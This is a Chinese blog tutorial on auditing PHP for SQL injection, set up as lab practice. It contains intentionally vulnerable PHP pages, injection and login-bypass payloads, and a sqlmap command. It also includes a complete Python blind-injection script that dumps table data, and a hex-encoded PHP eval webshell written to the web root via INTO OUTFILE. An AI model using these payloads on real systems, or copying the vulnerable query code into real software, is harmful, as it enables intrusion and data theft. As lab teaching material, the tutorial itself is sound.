PHP代码审计基础:SQL注入漏洞

SQL注入介绍

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

环境搭建

创建数据库
create database admin;
use admin;

create table user (
	ID int primary key, 
	username varchar(10) not null,
	password varchar(20) not null
);

insert into user(ID,username,password)values(1,'admin',123456),(2,'root','root'),(3,'guest','666666');
编写注入页面
<?php
# 连接数据库
$conn = mysqli_connect("localhost","root","root","admin") or die("数据库连接失败!".mysql_error($conn));
# 构造SQL语句
$id = $_GET['id'];
$sql = "SELECT * FROM user WHERE id=$id";
# 执行SQL语句
$result = mysqli_query($conn,$sql) or die(mysqli_error($conn));
# 循环输出返回值
while ($row = mysqli_fetch_array($result))
{
    echo "ID: ".$row['ID'].'<br>';
    echo "username: ".$row['username'].'<br>';
    echo "password: ".$row['password'].'<br>';
}
# 关闭连接
mysqli_close($conn);
# 打印SQL语句
echo '<hr>'.'<br>'.$sql;
?>
?>

效果:
在这里插入图片描述

数字型注入与字符型注入的区别

数字型注入

我们上面构造的注入页面就是一个数字型的注入页面,变量id拼接在SQL语句中,没有单引号的保护,就容易造成SQL注入。

payload:

and 1=1	# 正常
and 1=2 # 不正常

在这里插入图片描述

字符型注入

我们把上面构造的注入页面中的变量sql改一下,就变成字符型注入了:

$sql = "SELECT * FROM user WHERE id='$id'";

这里即使加上了单引号的保护,我们只要把他的单引号闭合一下就依然可以注入

payload:

# 正常
?id=3' and 1=1--+
# 报错
?id=1' and 1=2--+

在这里插入图片描述

所以,字符型注入与数字型注入的根本区别在于,需不需要进行单引号闭合

POST注入

编写登录页面

这里简单写了一个登陆页面,有POST注入跟万能密码登录

login.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>后台登录</title>
</head>
<body>
<form action="login.php" method="post">
    账号:<input type="text" name="username"><br><br>
    密码:<input type="password" name="password"><br><br>
    <input type="submit" value="登录" name="login">
</form>
</body>
</html>

login.php

<?php
# 判断是否进行了POST传值
if (!isset($_POST)){
    die("数据不能为空!");
}else {
    # 接受的变量赋值给username与password
    $username = $_POST['username'];
    $password = $_POST['password'];
    # 连接数据库
    $conn = mysqli_connect("localhost","root","root","admin") or die("数据库连接失败!".mysql_error($conn));
    # 构造SQL语句
    # 万能密码‘or'='or‘绕过登录验证
    $sql = "SELECT * FROM USER WHERE USERNAME='$username' AND PASSWORD='$password'";
    # 输出SQL语句,方便学习
    echo $sql;
    # 执行SQL语句并把结果集返回到$result中
    $result = mysqli_query($conn,$sql) or die(mysqli_error($conn));;
    # 把$result中的mun_rows属性值返回给$row_cnt
    $row_cnt  =  mysqli_num_rows ( $result );
    # 如果值为零
    if ($row_cnt === 0)
    {
        # 打印失败
        echo '登录失败!';
    # 或者$row_cnt的值为1
    }elseif($row_cnt === 1)
    {
        # 把$result的结果返回给$row
        $row = mysqli_fetch_array($result);
        # 打印欢迎xx登陆系统,xxx为数组row中name的值
        echo '欢迎'.$row['username'].'登录系统!';
    }
}
万能密码

原理就是我们在审计的时候看一下它的SQL语句是怎么闭合的,有没有做转义,去进行一个绕过。

# 万能密码or'='or
POST注入

这里不手工了,直接burp抓个包sqlmap跑一下吧!

在这里插入图片描述
抓包:

在这里插入图片描述
跑一下:

Sqlmap -r C:\Users\Administrator\Desktop\1.txt --batch

在这里插入图片描述

HTTP头注入

在这里插入图片描述

盲注

盲注最大的特点就是注入返回的数据不会在页面上进行显示

这里我就借花献佛,用sql-libs的第八关来演示一下吧

关键代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

正确的时候显示的you are in… 错误的时候就是什么都显示

猜数据库名第一个字母具体过程,使用二分法

http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E96,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E120,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E115,1,0)%20%23返回错误,不大于115,即第一个字母的ascii为115,即字母s
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E111,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E114,1,0)%20%23返回正确,大于114

盲注过程是漫长的,一般是自己写脚本或使用工具辅助

写脚本之前要知道原理,上面的就是原理

下面基于这个学着写了个提取users表数据的完整脚本,大家可以参考下,当然如果大家用sqlmap也可以

Python编写exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2020/06/16
# Created by Shadow

import urllib2
import urllib

success_str = "You are in"
getTable = "users"

index = "0"
url = "http://1.1.1.130:86/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"

asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"


# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串    payload:使用的payload    length:猜测的长度
def getLengthResult(payload, string, length):
    finalUrl = url + urllib.quote(payload % (string, length))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False


# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload    string:猜测的字符串    pos:猜测字符串的位置    ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False


# 注入
def inject():
    # 猜数据库长度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print ("length of DBname: " + str(lengthOfDBName))
    # 获取数据库名称
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)

    print ("current database:" + DBname)

    # 获取数据库中的表的个数
    # print selectTableCountPayload
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print ("count of talbe:" + str(tableCount))

    # 获取数据库中的表
    for i in xrange(0, tableCount):
        # 第几个表
        num = str(i)
        # 获取当前这个表的长度
        selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
        tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
        print ("current table length:" + str(tableNameLength))
        # 获取当前这个表的名字
        selectTableName = selectTable % (DBname, i)
        tableName = getName(asciiPayload, selectTableName, tableNameLength)
        print (tableName)

    selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s')>=%d #"
    # print selectColumnCountPayload
    # 获取指定表的列的数量
    columnCount = getLengthOfString(selectColumnCountPayload, getTable)
    print ("table:" + getTable + " --count of column:" + str(columnCount))

    # 获取该表有多少行数据
    dataCountPayload = "'and (select count(*) from %s)>=%d #"
    dataCount = getLengthOfString(dataCountPayload, getTable)
    print ("table:" + getTable + " --count of data: " + str(dataCount))

    data = []
    # 获取指定表中的列
    for i in xrange(0, columnCount):
        # 获取该列名字长度
        selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit " + str(
            i) + ",1)>=%d #"
        # print selectColumnNameLengthPayload
        columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
        print ("current column length:" + str(columnNameLength))
        # 获取该列的名字
        selectColumn = "select column_name from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit %d,1"
        selectColumnName = selectColumn % (getTable, i)
        # print selectColumnName
        columnName = getName(asciiPayload, selectColumnName, columnNameLength)
        print (columnName)

        tmpData = []
        tmpData.append(columnName)
        # 获取该表的数据
        for j in xrange(0, dataCount):
            columnDataLengthPayload = "'and (select length(" + columnName + ") from %s limit " + str(j) + ",1)>=%d #"
            # print columnDataLengthPayload
            columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
            # print columnDataLength
            selectData = "select " + columnName + " from users limit " + str(j) + ",1"
            columnData = getName(asciiPayload, selectData, columnDataLength)
            # print columnData
            tmpData.append(columnData)

        data.append(tmpData)

    # print data
    # 格式化输出数据
    # 输出列名
    tmp = ""
    for i in xrange(0, len(data)):
        tmp += data[i][0] + "    "
    print (tmp)
    # 输出具体数据
    for j in xrange(1, dataCount + 1):
        tmp = ""
        for i in xrange(0, len(data)):
            tmp += data[i][j] + "    "
        print (tmp)


# 获取字符串的长度
def getLengthOfString(payload, string):
    # 猜长度
    lengthLeft = 0
    lengthRigth = 0
    guess = 10
    # 确定长度上限,每次增加5
    while 1:
        # 如果长度大于guess
        if getLengthResult(payload, string, guess) == True:
            # 猜测值增加5
            guess = guess + 5
        else:
            lengthRigth = guess
            break
    # print "lengthRigth: " + str(lengthRigth)
    # 二分法查长度
    mid = (lengthLeft + lengthRigth) / 2
    while lengthLeft < lengthRigth - 1:
        # 如果长度大于等于mid
        if getLengthResult(payload, string, mid) == True:
            # 更新长度的左边界为mid
            lengthLeft = mid
        else:
            # 否则就是长度小于mid
            # 更新长度的右边界为mid
            lengthRigth = mid
        # 更新中值
        mid = (lengthLeft + lengthRigth) / 2
        # print lengthLeft, lengthRigth
    # 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
    # 所以长度区间:大于等于 lengthLeft,小于lengthRigth
    # 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
    # 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
    return lengthLeft


# 获取名称
def getName(payload, string, lengthOfString):
    # 32是空格,是第一个可显示的字符,127是delete,最后一个字符
    tmp = ''
    for i in xrange(1, lengthOfString + 1):
        left = 32
        right = 127
        mid = (left + right) / 2
        while left < right - 1:
            # 如果该字符串的第i个字符的ascii码大于等于mid
            if getResult(payload, string, i, mid) == True:
                # 则更新左边界
                left = mid
                mid = (left + right) / 2
            else:
                # 否则该字符串的第i个字符的ascii码小于mid
                # 则更新右边界
                right = mid
            # 更新中值
            mid = (left + right) / 2
        tmp += chr(left)
        # print tmp
    return tmp


def main():
    inject()


main()

注入的利用方式

查询数据

判断完列长度后,我们就用union联合查询来爆敏感信息:

?id=3'union select @@datadir,user(),database()%23

在这里插入图片描述

读写文件

这里我们写一个一句话进去,这个一句话写的时候最好十六进制编码:

0x3C3F70687020406576616C5B245F504F53545B2761275D5D3B3F3E

payload:

?id=1' union select 1,'0x3C3F70687020406576616C28245F504F53545B315D293F3E',3 into outfile "C:/phpstudy_pro/WWW/A_testCode/sql/1.php"%23

执行结果:
在这里插入图片描述
在这里插入图片描述

菜刀连接:
在这里插入图片描述
再来读一下文件:

payload:

?id=1' union select 1,2,load_file('C:/phpstudy_pro/WWW/A_testCode/sql/login.html')%23

运行结果:
在这里插入图片描述

命令执行

仅限linux环境下

system 系统命令;

修复方案

  • 使用预编译语句
  • 使用存储过程
  • 检查函数类型
  • 使用安全函数
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值